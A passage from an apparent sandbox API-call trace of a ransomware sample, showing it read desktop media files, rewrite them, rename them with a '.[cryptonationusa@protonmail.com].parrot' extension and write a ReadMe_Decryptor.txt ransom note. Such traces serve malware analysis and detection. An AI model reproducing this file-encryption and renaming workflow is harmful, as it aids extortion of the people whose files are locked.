Flags=0x0, Size=0x9) returned 0x606968 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0031.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0031.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0031.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0031.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0031.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0031.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0031.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0031.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0031.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0031.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0031.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0031.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0031.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0031.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x635298 [0031.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6399e8 [0031.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0031.565] WriteFile (in: hFile=0x258, lpBuffer=0x639a00*, nNumberOfBytesToWrite=0x5ab8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x639a00*, lpNumberOfBytesWritten=0x18fa94*=0x5ab8, lpOverlapped=0x0) returned 1 [0031.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6399e8 | out: hHeap=0x5b0000) returned 1 [0031.565] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5aac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0031.565] CloseHandle (hObject=0x258) returned 1 [0031.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0031.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x601838 [0031.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0031.566] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7fSPfZw.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7fspfzw.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7fSPfZw.pps.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7fspfzw.pps.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0031.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0031.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0031.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0031.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0031.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0031.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0031.569] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.570] GetFileType (hFile=0x258) returned 0x1 [0031.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0031.590] lstrcmpW (lpString1="AGzt.m4a", lpString2="ReadMe_Decryptor.txt") returned -1 [0031.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AGzt.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\agzt.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.590] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0xf41 [0031.590] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1059, nNumberOfBytesToLockHigh=0x0) returned 1 [0031.590] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0031.591] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0031.591] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.591] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf41, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0xf41, lpOverlapped=0x0) returned 1 [0031.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0031.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0031.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0031.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0031.591] GetLastError () returned 0x0 [0031.591] SetLastError (dwErrCode=0x0) [0031.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0031.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0031.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0031.591] GetLastError () returned 0x0 [0031.591] SetLastError (dwErrCode=0x0) [0031.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.592] GetLastError () returned 0x0 [0031.592] SetLastError (dwErrCode=0x0) [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf50) returned 0x5cce58 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1eb3) returned 0x5cddb0 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.592] GetLastError () returned 0x0 [0031.592] SetLastError (dwErrCode=0x0) [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.592] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0031.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5cfc70 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5cce58 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cfc70 | out: hHeap=0x5b0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x629218 [0031.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.593] WriteFile (in: hFile=0x258, lpBuffer=0x629220*, nNumberOfBytesToWrite=0x1068, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x629220*, lpNumberOfBytesWritten=0x18fa94*=0x1068, lpOverlapped=0x0) returned 1 [0031.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.594] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1059, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0031.594] CloseHandle (hObject=0x258) returned 1 [0031.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b478 [0031.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x601838 [0031.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0031.595] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AGzt.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\agzt.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AGzt.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\agzt.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0031.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0031.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cddb0 | out: hHeap=0x5b0000) returned 1 [0031.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0031.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0031.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0031.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0031.596] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.596] GetFileType (hFile=0x258) returned 0x1 [0031.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0031.606] lstrcmpW (lpString1="bv I ONxrd0GJ6arExzv.wav", lpString2="ReadMe_Decryptor.txt") returned -1 [0031.744] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv I ONxrd0GJ6arExzv.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv i onxrd0gj6arexzv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.744] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0xb6df [0031.744] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb7f7, nNumberOfBytesToLockHigh=0x0) returned 1 [0031.744] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0031.744] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0031.745] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.745] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb6df, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0xb6df, lpOverlapped=0x0) returned 1 [0031.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0031.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0031.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0031.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0031.745] GetLastError () returned 0x0 [0031.745] SetLastError (dwErrCode=0x0) [0031.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0031.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0031.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0031.745] GetLastError () returned 0x0 [0031.745] SetLastError (dwErrCode=0x0) [0031.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.746] GetLastError () returned 0x0 [0031.746] SetLastError (dwErrCode=0x0) [0031.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0031.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0031.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0031.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0031.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0031.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0031.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0031.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x635298 [0031.749] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0031.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf) returned 0x6069b0 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0031.750] GetLastError () returned 0x0 [0031.750] SetLastError (dwErrCode=0x0) [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.750] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 